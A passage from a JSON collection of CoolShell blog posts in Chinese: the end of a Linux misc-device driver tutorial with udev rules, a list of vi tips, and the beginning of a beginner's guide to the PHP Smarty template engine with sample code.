/proc/hello_world\nHello, world!\n\n```\n\n你可以为为同一个驱动程序创建多个/proc文件，并增加相应写/proc文件的函数，创建包含多个/proc文件的目录，或者更多的其他操作。如果要写比这个更复杂的驱动程序，可以使用seq\\_file函数集来编写是更安全和容易的。关于这些更多的信息可以看[《Driver porting: The seq\\_file interface》](http://lwn.net/Articles/22355/)\n\n\n#### Hello, World! 使用 /dev/hello\\_world\n\n\n现在我们将使用在/dev目录下的一个设备文件/dev/hello\\_world实现”Hello,world!” 。追述以前的日子，设备文件是通过MAKEDEV脚本调用mknod命令在/dev目录下产生的一个特定的文件，这个文件和设备是否运行在改机器上无关。到后来设备文件使用了devfs，devfs在设备第一被访问的时候创建/dev文件，这样将会导致很多有趣的加锁问题和多次打开设备文件的检查设备是否存在的重试问题。当前的/dev版本支持被称为udev，因为他将在用户程序空间创建到/dev的符号连接。当内核模块注册设备时，他们将出现在sysfs文件系统中，并mount在/sys下。一个用户空间的程序，udev,注意到/sys下的改变将会根据在/etc/udev/下的一些规则在/dev下创建相关的文件项。\n\n\n下载[hello world](http://www.linuxdevcenter.com/linux/2007/07/05/examples/hello_dev.tar.gz)内核模块的gzip的tar包，我们将开始先看一下hello\\_dev.c这个源文件。\n\n\n\n```\n\n#include <linux/fs.h>\n#include <linux/init.h>\n#include <linux/miscdevice.h>\n#include <linux/module.h>\n#include <asm/uaccess.h>\n\n```\n\n正如我们看到的必须的头文件外，创建一个新设备还需要更多的内核头文件支持。fs.sh包含所有文件操作的结构，这些结构将由设备驱动程序来填值，并关联到我们相关的/dev文件。miscdevice.h头文件包含了对通用miscellaneous设备文件注册的支持。 asm/uaccess.h包含了测试我们是否违背访问权限读写用户内存空间的函数。hello\\_read将在其他进程在/dev/hello调用read()函数被调用的是一个函数。他将输出”Hello world!”到由read()传入的缓存。\n\n\n\n```\n\nstatic ssize_t hello_read(struct file * file, char * buf, size_t count, loff_t *ppos)\n{\n    char *hello_str = \"Hello, world!n\";\n    int len = strlen(hello_str); /* Don't include the null byte. */\n    /*     * We only support reading the whole string at once.     */\n    if (count < len)\n        return -EINVAL;\n    /*\n    * If file position is non-zero, then assume the string has\n    * been read and indicate there is no more data to be read.\n    */\n    if (*ppos != 0)\n        return 0;\n    /*\n    * Besides copying the string to the user provided buffer,\n    * this function also checks that the user has permission to\n    * write to the buffer, that it is mapped, etc.\n    */\n    if (copy_to_user(buf, hello_str, len))\n        return -EINVAL;\n    /*\n    * Tell the user how much data we wrote.\n    */\n    *ppos = len;\n    return len;\n}\n\n```\n\n下一步，我们创建一个文件操作结构file operations struct，并用这个结构来定义当文件被访问时执行什么动作。在我们的例子中我们唯一关注的文件操作就是read。\n\n\n\n```\n\nstatic const struct file_operations hello_fops = {\n    .owner        = THIS_MODULE,\n    .read        = hello_read,\n};\n\n```\n\n现在，我们将创建一个结构，这个结构包含有用于在内核注册一个通用miscellaneous驱动程序的信息。\n\n\n\n```\n\nstatic struct miscdevice hello_dev = {\n    /*\n    * We don't care what minor number we end up with, so tell the\n    * kernel to just pick one.\n    */\n    MISC_DYNAMIC_MINOR,\n    /*     \n    * Name ourselves /dev/hello.     \n    */\n    \"hello\",\n    /*     \n    * What functions to call when a program performs file\n    * operations on the device.\n    */\n    &hello_fops\n};\n\n```\n\n在通常情况下，我们在init中注册设备\n\n\n\n```\n\nstatic int __init\nhello_init(void){\n    int ret;\n    /*\n    * Create the \"hello\" device in the /sys/class/misc directory.\n    * Udev will automatically create the /dev/hello device using\n    * the default rules.\n    */\n    ret = misc_register(&hello_dev);\n    if (ret)\n        printk(KERN_ERR\n            \"Unable to register \"Hello, world!\" misc devicen\");\n    return ret;\n}\nmodule_init(hello_init);\n\n```\n\n接下是在卸载时的退出函数\n\n\n\n```\n\nstatic void __exit\nhello_exit(void){\n    misc_deregister(&hello_dev);\n}\nmodule_exit(hello_exit);\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Valerie Henson val@nmt.edu>\");\nMODULE_DESCRIPTION(\"\"Hello, world!\" minimal module\");\nMODULE_VERSION(\"dev\");\n\n```\n\n编译并加载模块:\n\n\n\n```\n\n$ cd hello_dev  \n$ make  \n$ sudo insmod ./hello_dev.ko\n\n```\n\n现在我们将有一个称为/dev/hello的设备文件，并且这个设备文件被root访问时将会产生一个”Hello, world!”\n\n\n\n```\n\n$ sudo cat /dev/hello\n Hello, world!\n \n```\n\n但是我们不能使用普通用户访问他:\n\n\n\n```\n\n$ cat /dev/hello \ncat:/dev/hello: Permission denied  \n\n$ ls -l \n/dev/hello crw-rw---- 1 root root 10, 61 2007-06-20 14:31 /dev/hello\n\n\n```\n\n这是有默认的udev规则导致的，这个条规将标明当一个普通设备出现时，他的名字将会是/dev/，并且默认的访问权限是0660(用户和组读写访问，其他用户无法访问)。我们在真实情况中可能会希望创建一个被普通用户访问的设备驱动程序，并且给这个设备起一个相应的连接名。为达到这个目的，我们将编写一条udev规则。\n\n\nudev规则必须做两件事情：第一创建一个符号连接，第二修改设备的访问权限。\n\n\n下面这条规则可以达到这个目的：\n\n\n`KERNEL==\"hello\", SYMLINK+=\"hello_world\", MODE=\"0444\"`\n\n\n我们将详细的分解这条规则，并解释每一个部分。KERNEL==”hello” 标示下面的的规则将作用于/sys中设备名字”hello”的设备(==是比较符)。hello 设备是我们通过调用misc\\_register()并传递了一个包含设备名为”hello”的文件操作结构file\\_operations为参数而达到的。你可以自己通过如下的命令在/sys下查看\n\n\n\n```\n\n$ ls -d /sys/class/misc/hello//sys/class/misc/hello/\n\n```\n\nSYMLINK+=”hello\\_world” 的意思是在符号链接列表中增加 (+= 符号的意思着追加)一个hello\\_world ，这个符号连接在设备出现时创建。在我们场景下，我们知道我们的列表的中的只有这个符号连接，但是其他设备驱动程序可能会存在多个不同的符号连接，因此使用将设备追加入到符号列表中，而不是覆盖列表将会是更好的实践中的做法。\n\n\nMODE=”0444″的意思是原始的设备的访问权限是0444,这个权限允许用户，组，和其他用户可以访问。\n\n\n通常，使用正确的操作符号(==, +=, or =)是非常重要的，否则将会出现不可预知的情况。\n\n\n现在我们理解这个规则是怎么工作的，让我们将其安装在/etc/udev目录下。udev规则文件以和System V初始脚本目录命名的同种方式的目录下，/etc/udeve/rules.d这个目录，并以字母/数字的顺序。和System V的初始化脚本一样，/etc/udev/rules.d下的目录通常符号连接到真正的文件，通过使用符号连接名，将使得规则文件已正确的次序得到执行。  \n\n使用如下的命令，拷贝hello.rules文件从/hello\\_dev目录到/etc/udev目录下，并创建一一个最先被执行的规则文件链接在/etc/udev/rules.d目录下。\n\n\n\n```\n\n$ sudo cp hello.rules /etc/udev/  \n$ sudo ln -s ../hello.rules /etc/udev/rules.d/010_hello.rules\n\n```\n\n现在我们重新装载驱动程序，并观察新的驱动程序项\n\n\n\n```\n\n$ sudo rmmod hello_dev  \n$ sudo insmod ./hello_dev.ko  \n$ ls -l /dev/hello*  \ncr--r--r-- 1 root root 10, 61 2007-06-19 21:21 /dev/hello  \nlrwxrwxrwx 1 root root      5 2007-06-19 21:21 /dev/hello_world -> hello\n\n```\n\n最后，检查你可以使用普通用户访问/dev/hello\\_world设备.\n\n\n\n```\n\n$ cat /dev/hello_world\nHello, world!  \n\n$ cat /dev/hello\nHello, world!\n\n```\n\n更多编写udev规则的信息可以在Daniel Drake的文章[Writing udev rules](http://www.reactivated.net/writing_udev_rules.html)中找到。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux设备驱动Hello World程序介绍](https://coolshell.cn/articles/566.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-17 VI的一些小技巧.md",
    "content": "---\nlayout: post\ntitle: VI的一些小技巧\ndate: 2009/4/17/ 4:45:20\nupdated: 2009/4/17/ 4:45:20\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一些vi的小技巧。\n\n\n**:sp <filename>** 打开一个文件，并和当前打开的文件分屏显示。\n\n\n**Ctrl+W+W**在分屏显示中的不同文件中切换。\n\n\n**\\***  \n\n向前搜索目前光标所在的单词。\n\n\n**#**  \n\n向后搜索目前光标所在的单词。\n\n\n**:%s/word1/word2/g**全文搜索word1并以word2替换之。\n\n\n**:’a,’bs/word1/word2/g**  \n\n仅在第a行到第b行间搜索并替换。\n\n\n\n**:!<command>**  \n\n执行一个Shell命令。\n\n\n**:!javac %**  \n\n使用%可以表示当前文件名。比如：sample.java，以达到编译的目的。\n\n\n**:sh**  \n\n启运一个shell而不退出vi。exit 命令后回到vi.\n\n\n**:line\\_number**  \n\n冒号后跟数字表示要到第几行，如果跟1，表示到文件头，如果跟$，表示到文件尾。\n\n\n**Ctrl+G**  \n\n可以显示当前行在整个文件的百分比。\n\n\n**<number>**重复一个命令number次。比如先输入50，然后输入dd，表示删除50行。\n\n\n**yy**  \n\n拷贝一个行到VI的剪贴版。\n\n\n**p**粘贴VI\n\n\n**>> 和 <<**用于向右或右左的缩进。\n\n\n**u**undo上一次改变。\n\n\n**U**undo当前行所有的改变。\n\n\n**Ctrl + R**  \n\nredo被undo了的改变。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![主流文本编辑器学习曲线](../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg)](https://coolshell.cn/articles/3125.html)[主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/3083.html)[三个教程](https://coolshell.cn/articles/3083.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![将vim变得简单:如何在vim中得到你最喜爱的IDE特性](../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg)](https://coolshell.cn/articles/894.html)[将vim变得简单:如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/766.html)[让Ruby增加30%的性能改进](https://coolshell.cn/articles/766.html)\nThe post [VI的一些小技巧](https://coolshell.cn/articles/556.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-17 菜鸟学PHP之Smarty入门.md",
    "content": "---\nlayout: post\ntitle: 菜鸟学PHP之Smarty入门\ndate: 2009/4/17/ 7:55:9\nupdated: 2009/4/17/ 7:55:9\nstatus: publish\npublished: true\ntype: post\n---\n\n　　刚开始接触模版引擎的 PHP 设计师，听到 Smarty 时，都会觉得很难。其实笔者也不例外，碰都不敢碰一下。但是后来在剖析 XOOPS 的程序架构时，开始发现 Smarty 其实并不难。只要将 Smarty 基础功练好，在一般应用上就已经相当足够了。当然基础能打好，后面的进阶应用也就不用怕了。  \n\n　　  \n\n　　这篇文章的主要用意并非要深入探讨 Smarty 的使用，这在官方使用说明中都已经写得很完整了。笔者仅在此写下一些自己使用上的心得，让想要了解 Smarty 却不得其门而入的朋友，可以从中得到一些启示。就因为这篇文章的内容不是非常深入，会使用 Smarty 的朋友们可能会觉得简单了点。  \n\n　　  \n\n　  \n\n　　**Smarty介绍  \n\n　　  \n\n　　什么是模版引擎**  \n\n　　  \n\n　　不知道从什么时候开始，有人开始对 HTML 内嵌入 Server Script 觉得不太满意。然而不论是微软的 ASP 或是开放源码的 PHP，都是属于内嵌 Server Script 的网页伺服端语言。因此也就有人想到，如果能把程序应用逻辑 (或称商业应用逻辑) 与网页呈现 (Layout) 逻辑分离的话，是不是会比较好呢？  \n\n　　  \n\n　　其实这个问题早就存在已久，从交互式网页开始风行时，不论是 ASP 或是 PHP 的使用者都是身兼程序开发者与视觉设计师两种身份。可是通常这些使用者不是程序强就是美工强，如果要两者同时兼顾，那可得死掉不少脑细胞…  \n\n　　  \n\n　　所以模版引擎就应运而生啦！模版引擎的目的，就是要达到上述提到的逻辑分离的功能。它能让程序开发者专注于资料的控制或是功能的达成；而视觉设计师则可专注于网页排版，让网页看起来更具有专业感！因此模版引擎很适合公司的网站开发团队使用，使每个人都能发挥其专长！  \n\n　　  \n\n　　就笔者接触过的模版引擎来说，依资料呈现方式大概分成：需搭配程序处理的模版引擎和完全由模版本身自行决定的模版引擎两种形式。  \n\n　　  \n\n　　在需搭配程序处理的模版引擎中，程序开发者必须要负责变量的呈现逻辑，也就是说他必须把变量的内容在输出到模版前先处理好，才能做 assign 的工作。换句话说，程序开发者还是得多写一些程序来决定变量呈现的风貌。而完全由模版本身自行决定的模版引擎，它允许变量直接 assign 到模版中，让视觉设计师在设计模版时再决定变量要如何呈现。因此它就可能会有另一套属于自己的模版程序语法 (如 Smarty) ，以方便控制变量的呈现。但这样一来，视觉设计师也得学习如何使用模版语言。  \n\n　　  \n\n　　模版引擎的运作原理，首先我们先看看以下的运行图：  \n\n　　 　http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.31.13.1.gif  \n\n　　一般的模版引擎 (如 PHPLib) 都是在建立模版对象时取得要解析的模版，然后把变量套入后，透过 parse() 这个方法来解析模版，最后再将网页输出。  \n\n　　 　http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.38.13.2.gif  \n\n　　对 Smarty 的使用者来说，程序里也不需要做任何 parse 的动作了，这些 Smarty 自动会帮我们做。而且已经编译过的网页，如果模版没有变动的话， Smarty 就自动跳过编译的动作，直接执行编译过的网页，以节省编译的时间。  \n\n　　  \n\n　　**使用Smarty的一些概念**  \n\n　　  \n\n　　在一般模版引擎中，我们常看到区域的观念，所谓区块大概都会长成这样：  \n\n　　<!– START : Block name –>  \n\n　　区域内容  \n\n　　<!– END : Block name –>  \n\n　　  \n\n　　这些区块大部份都会在 PHP 程序中以 if 或 for, while 来控制它们的显示状态，虽然模版看起来简洁多了，但只要一换了显示方式不同的模版， PHP 程序势必要再改一次！  \n\n　　  \n\n　　在 Smarty 中，一切以变量为主，所有的呈现逻辑都让模版自行控制。因为 Smarty 会有自己的模版语言，所以不管是区块是否要显示还是要重复，都是用 Smarty 的模版语法 (if, foreach, section) 搭配变量内容作呈现。这样一来感觉上好象模版变得有点复杂，但好处是只要规划得当， PHP 程序一行都不必改。  \n\n　　  \n\n　　由上面的说明，我们可以知道使用Smarty 要掌握一个原则：将程序应用逻辑与网页呈现逻辑明确地分离。就是说 PHP 程序里不要有太多的 HTML 码。程序中只要决定好那些变量要塞到模版里，让模版自己决定该如何呈现这些变量 (甚至不出现也行) 。  \n\n　　  \n\n　　**Smarty的基础  \n\n　　  \n\n　　安装Smarty**  \n\n　　  \n\n　　首先，我们先决定程序放置的位置。  \n\n　　  \n\n　　[Windows](http://windows.chinaitlab.com/)下可能会类似这样的位置：「 d:\\appserv\\web\\demo\\ 」。  \n\n　　  \n\n　　Linux下可能会类似这样的位置：「 /home/jaceju/public\\_html/ 」。  \n\n　　  \n\n　　到Smarty的官方网站[下载](http://download.chinaitlab.com/)最新的Smarty套件：[http://smarty.php.net](http://smarty.php.net/)。  \n\n　　  \n\n　　解开 Smarty 2.6.0 后，会看到很多档案，其中有个 libs 资料夹。在 libs 中应该会有 3 个 class.php 檔 + 1 个 debug.tpl + 1 个 plugin 资料夹 + 1 个 core 资料夹。然后直接将 libs 复制到您的程序主资料夹下，再更名为 class 就可以了。就这样？没错！这种安装法比较简单，适合一般没有自己主机的使用者。  \n\n　　  \n\n　　至于 Smarty 官方手册中为什么要介绍一些比较复杂的安装方式呢？基本上依照官方的方式安装，可以只在主机安装一次，然后提供给该主机下所有设计者开发不同程序时直接引用，而不会重复安装太多的 Smarty 复本。而笔者所提供的方式则是适合要把程序带过来移过去的程序开发者使用，这样不用烦恼主机有没有安装 Smarty 。  \n\n　　  \n\n　　**程序的资料夹设定**  \n\n　　  \n\n　　以笔者在[Windows](http://windows.chinaitlab.com/)安装Appserv为例，程序的主资料夹是「d:\\appserv\\web\\demo\\」。安装好Smarty后，我们在主资料夹下再建立这样的资料夹：  \n\n　　 　http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.46.13.3.gif  \n\n　　在 Linux 底下，请记得将 templates\\_c 的权限变更为 777 。Windows 下则将其只读取消。  \n\n　　  \n\n　　**第一个用Smarty写的小程序**  \n\n　　  \n\n　　我们先设定 Smarty 的路径，请将以下这个档案命名为 main.php ，并放置到主资料夹下：  \n\n　　  \n\n　　main.php:\n\n\n\n```\n\n　　<?php\n　　include \"class/Smarty.class.php\";\n　　define('__SITE_ROOT', 'd:/appserv/web/demo'); // 最后没有斜线\n　　$tpl = new Smarty();\n　　$tpl->template_dir = __SITE_ROOT . \"/templates/\";\n　　$tpl->compile_dir = __SITE_ROOT . \"/templates_c/\";\n　　$tpl->config_dir = __SITE_ROOT . \"/configs/\";\n　　$tpl->cache_dir = __SITE_ROOT . \"/cache/\";\n　　$tpl->left_delimiter = '<{';\n　　$tpl->right_delimiter = '}>';\n　　?>\n　　\n```\n\n　　照上面方式设定的用意在于，程序如果要移植到其它地方，只要改 \\_\\_SITE\\_ROOT 就可以啦。 (这里是参考 XOOPS 的 )  \n\n　　  \n\n　　Smarty 的模版路径设定好后，程序会依照这个路径来抓所有模版的相对位置 (范例中是 ‘d:/appserv/web/demo/templates/’ ) 。然后我们用 display() 这个 Smarty 方法来显示我们的模版。  \n\n　　  \n\n　　接下来我们在 templates 资料夹下放置一个 test.htm：(扩展名叫什么都无所谓，但便于视觉设计师开发，笔者都还是以 .htm 为主。)  \n\n　　  \n\n　　templates/test.htm:\n\n\n\n```\n\n　　<html>\n　　<head>\n　　<meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\">\n　　<title><{$title}></title>\n　　</head>\n　　<body>\n　　<{$content}>\n　　</body>\n　　</html>\n　　\n```\n\n　　现在我们要将上面的模版显示出来，并将网页标题 ($title) 与内容 ($content) 更换，请将以下档案内容命名为 test.php ，并放置在主资料夹下：  \n\n　　  \n\n　　test.php:\n\n\n       \n\n\n\n```\n\n　　<?php\n　　require \"main.php\";\n　　$tpl->assign(\"title\", \"测试用的网页标题\");\n　　$tpl->assign(\"content\", \"测试用的网页内容\");\n　　// 上面两行也可以用这行代替\n　　// $tpl->assign(array(\"title\" => \"测试用的网页标题\", \"content\" => \"测试用的网页内容\"));\n　　$tpl->display('test.htm');\n　　?>\n　　\n```\n\n　　请打开浏览器，输入 http://localhost/demo/test.php 试试看(依您的环境决定网址)，应该会看到以下的画面：  \n\n　　 　http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.52.13.4.gif  \n\n　　再到 templates\\_c 底下，我们会看到一个奇怪的资料夹 (%%179) ，再点选下去也是一个奇怪的资料夹 (%%1798044067) ，而其中有一个档案：  \n\n　　  \n\n　　templates\\_c/%%179/%%1798044067/test.htm.php:\n\n\n        \n\n\n\n```\n\n　　<?php /* Smarty version 2.6.0, created on 2003-12-15 22:19:45 compiled from test.htm */ ?>\n　　<html>\n　　<head>\n　　<meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\">\n　　<title><?php echo $this->_tpl_vars['title']; ?></title>\n　　</head>\n　　<body>\n　　<?php echo $this->_tpl_vars['content']; ?>\n　　</body>\n　　</html>\n　　\n```\n\n　　没错，这就是 Smarty 编译过的档案。它将我们在模版中的变量转换成了 PHP 的语法来执行，下次再读取同样的内容时， Smarty 就会直接抓取这个档案来执行了。  \n\n　　  \n\n　　最后我们整理一下整个 Smarty 程序撰写步骤：  \n\n　　  \n\n　　Step 1. 加载 Smarty 模版引擎。  \n\n　　  \n\n　　Step 2. 建立 Smarty 对象。  \n\n　　  \n\n　　Step 3. 设定 Smarty 对象的参数。  \n\n　　  \n\n　　Step 4. 在程序中处理变量后，再用 Smarty 的 assign 方法将变量置入模版里。  \n\n　　  \n\n　　Step 5. 利用 Smarty 的 display 方法将网页秀出。  \n\n　　  \n\n　　**如何安排你的程序架构**  \n\n　　  \n\n　　上面我们看到除了 Smarty 所需要的资料夹外 (class 、 configs 、 templates 、 templates\\_c) ，还有两个资料夹： includes 、 modules 。其实这是笔者模仿 XOOPS 的架构所建立出来的，因为 XOOPS 是笔者所接触到的程序中，少数使用 Smarty 模版引擎的架站程序。所谓西瓜偎大边，笔者这样的程序架构虽没有 XOOPS 的百分之一强，但至少给人看时还有 XOOPS 撑腰。  \n\n　　  \n\n　　includes 这个资料夹主要是用来放置一些 function 、 sql 檔，这样在 main.php 就可以将它们引入了，如下：  \n\n　　  \n\n　　main.php:  \n\n　　\n\n\n\n```\n\n　　<?php\n　　include \"class/Smarty.class.php\";\n　　define('__SITE_ROOT', 'd:/appserv/web/demo'); // 最后没有斜线\n　　// 以 main.php 的位置为基准\n　　require_once \"includes/functions.php\";\n　　require_once \"includes/include.php\";\n　　$tpl = new Smarty();\n　　$tpl->template_dir = __SITE_ROOT . \"/templates/\";\n　　$tpl->compile_dir = __SITE_ROOT . \"/templates_c/\";\n　　$tpl->config_dir = __SITE_ROOT . \"/configs/\";\n　　$tpl->cache_dir = __SITE_ROOT . \"/cache/\";\n　　$tpl->left_delimiter = '<{';\n　　$tpl->right_delimiter = '}>';\n　　?>\n　　\n```\n\n　　modules 这个资料夹则是用来放置程序模块的，如此一来便不会把程序丢得到处都是，整体架构一目了然。  \n\n　　  \n\n　　上面我们也提到 main.php ，这是整个程序的主要核心，不论是常数定义、外部程序加载、共享变量建立等，都是在这里开始的。所以之后的模块都只要将这个档案包含进来就可以啦。因此在程序流程规划期间，就必须好好构思 main.php 中应该要放那些东西；当然利用 include 或 require 指令，把每个环节清楚分离是再好不过了。  \n\n　　 　http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.59.13.5.gif  \n\n　　在上节提到的 Smarty 程序 5 步骤， main.php 就会帮我们先将前 3 个步骤做好，后面的模块程序只要做后面两个步骤就可以了。  \n\n　　  \n\n　　**从变量开始**  \n\n　　  \n\n　　如何使用变量  \n\n　　  \n\n　　从上一章范例中，我们可以清楚地看到我们利用 <{ 及 }> 这两个标示符号将变量包起来。预设的标示符号为 { 及 } ，但为了中文冲码及 [Java](http://java.chinaitlab.com/)script 的关系，因此笔者还是模仿 XOOPS ，将标示符号换掉。变量的命名方式和 PHP 的变量命名方式是一模一样的，前面也有个 $ 字号 (这和一般的模版引擎不同)。标示符号就有点像是 PHP 中的 <?php 及 ?> (事实上它们的确会被替换成这个) ，所以以下的模版变量写法都是可行的：  \n\n　　  \n\n　　1. <{$var}>  \n\n　　  \n\n　　2. <{ $var }> <!– 和变量之间有空格 –>  \n\n　　  \n\n　　3. <{$var  \n\n　　  \n\n　　}> <!– 启始的标示符号和结束的标示符号不在同一行 –>  \n\n　　在 Smarty 里，变量预设是全域的，也就是说你只要指定一次就好了。指定两次以上的话，变量内容会以最后指定的为主。就算我们在主模版中加载了外部的子模版，子模版中同样的变量一样也会被替代，这样我们就不用再针对子模版再做一次解析的动作。  \n\n　　  \n\n　　而在 PHP 程序中，我们用 Smarty 的 assign 来将变量置放到模版中。 assign 的用法官方手册中已经写得很多了，用法就如同上一节的范例所示。不过在重复区块时，我们就必须将变量做一些手脚后，才能将变量 assign 到模版中，这在下一章再提。  \n\n　　  \n\n　　**修饰你的变量**  \n\n　　  \n\n　　上面我们提到 Smarty 变量呈现的风貌是由模版自行决定的，所以 Smarty 提供了许多修饰变量的函式。使用的方法如下：  \n\n　　  \n\n　　<{变量|修饰函式}> <!– 当修饰函式没有参数时 –>  \n\n　　  \n\n　　<{变量|修饰函式:”参数(非必要，视函式而定)”}> <!– 当修饰函式有参数时 –>  \n\n　　范例如下：  \n\n　　  \n\n　　<{$var|nl2br}> <!– 将变量中的换行字符换成 <br /> –>  \n\n　　  \n\n　　<{$var|string\\_format:”%02d”}> <!– 将变量格式化 –>  \n\n　　好，那为什么要让模版自行决定变量呈现的风貌？先看看底下的 HTML ，这是某个购物车结帐的部份画面。  \n\n　　  \n\n　　<input name=”total” type=”hidden” value=”21000″ />  \n\n　　  \n\n　　总金额：21,000 元  \n\n　　一般模版引擎的模版可能会这样写：  \n\n　　  \n\n　　<input name=”total” type=”hidden” value=”{total}” />  \n\n　　  \n\n　　总金额：{format\\_total} 元  \n\n　　它们的 PHP 程序中要这样写：  \n\n　　\n\n\n\n```\n\n　　<?php\n　　$total = 21000;\n　　$tpl->assign(\"total\", $total);\n　　$tpl->assign(\"format_total\", number_format($total));\n　　?>\n　　\n```\n\n　　而 Smarty 的模版就可以这样写： (number\\_format 修饰函式请到Smarty 官方网页[下载](http://download.chinaitlab.com/))  \n\n　　  \n\n　　<input name=”total” type=”hidden” value=”<{$total}>” />  \n\n　　  \n\n　　总金额：<{$total|number\\_format:””}> 元  \n\n　　Smarty 的 PHP 程序中只要这样写：  \n\n　　\n\n\n\n```\n\n　　<?php\n　　$total = 21000;\n　　$tpl->assign(\"total\", $total);\n　　?>\n　　\n```\n\n　　所以在 Smarty 中我们只要指定一次变量，剩下的交给模版自行决定即可。这样了解了吗？这就是让模版自行决定变量呈现风貌的好处！  \n\n　　  \n\n　　**控制模版的内容  \n\n　　  \n\n　　重复的区块**  \n\n　　  \n\n　　在 Smarty 样板中，我们要重复一个区块有两种方式： foreach 及 section 。而在程序中我们则要 assign 一个数组，这个数组中可以包含数组数组。就像下面这个例子：  \n\n　　  \n\n　　首先我们来看 PHP 程序是如何写的：  \n\n　　  \n\n　　test2.php:  \n\n　　\n\n\n\n```\n\n　　<?php\n　　require \"main.php\";\n　　$array1 = array(1 => \"苹果\", 2 => \"菠萝\", 3 => \"香蕉\", 4 => \"芭乐\");\n　　$tpl->assign(\"array1\", $array1);\n　　$array2 = array(\n　　array(\"index1\" => \"data1-1\", \"index2\" => \"data1-2\", \"index3\" => \"data1-3\"),\n　　array(\"index1\" => \"data2-1\", \"index2\" => \"data2-2\", \"index3\" => \"data2-3\"),\n　　array(\"index1\" => \"data3-1\", \"index2\" => \"data3-2\", \"index3\" => \"data3-3\"),\n　　array(\"index1\" => \"data4-1\", \"index2\" => \"data4-2\", \"index3\" => \"data4-3\"),\n　　array(\"index1\" => \"data5-1\", \"index2\" => \"data5-2\", \"index3\" => \"data5-3\"));\n　　$tpl->assign(\"array2\", $array2);\n　　$tpl->display(\"test2.htm\");\n　　?>\n　　\n```\n\n　　而模版的写法如下：  \n\n　　  \n\n　　templates/test2.htm:  \n\n　　\n\n\n\n```\n\n　　<html>\n　　<head>\n　　<meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\">\n　　<title>测试重复区块</title>\n　　</head>\n　　<body>\n　　\n<pre>\n　　利用 foreach 来呈现 array1\n　　<{foreach item=item1 from=$array1}>\n　　<{$item1}>\n　　<{/foreach}>\n　　利用 section 来呈现 array1\n　　<{section name=sec1 loop=$array1}>\n　　<{$array1[sec1]}>\n　　<{/section}>\n　　利用 foreach 来呈现 array2\n　　<{foreach item=index2 from=$array2}>\n　　<{foreach key=key2 item=item2 from=$index2}>\n　　<{$key2}>: <{$item2}>\n　　<{/foreach}>\n　　<{/foreach}>\n　　利用 section 来呈现 array1\n　　<{section name=sec2 loop=$array2}>\n　　index1: <{$array2[sec2].index1}>\n　　index2: <{$array2[sec2].index2}>\n　　index3: <{$array2[sec2].index3}>\n　　<{/section}>\n　　</pre>\n　　</body>\n　　</html>\n　　\n```\n\n　　执行上例后，我们发现不管是 foreach 或 section 两个执行结果是一样的。那么两者到底有何不同呢？  \n\n　　  \n\n　　第一个差别很明显，就是foreach 要以巢状处理的方式来呈现我们所 assign 的两层数组变量，而 section 则以「主数组[循环名称].子数组索引」即可将整个数组呈现出来。由此可知， Smarty 在模版中的 foreach 和 PHP 中的 foreach 是一样的；而 section 则是 Smarty 为了处理如上列的数组变量所发展出来的叙述。当然 section 的功能还不只如此，除了下一节所谈到的巢状资料呈现外，官方手册中也提供了好几个 section 的应用范例。  \n\n　　  \n\n　　不过要注意的是，丢给 section 的数组索引必须是从 0 开始的正整数，即 0, 1, 2, 3, …。如果您的数组索引不是从 0 开始的正整数，那么就得改用 foreach 来呈现您的资料。您可以参考官方讨论区中的此篇讨论，其中探讨了 section 和 foreach 的用法。  \n\n　　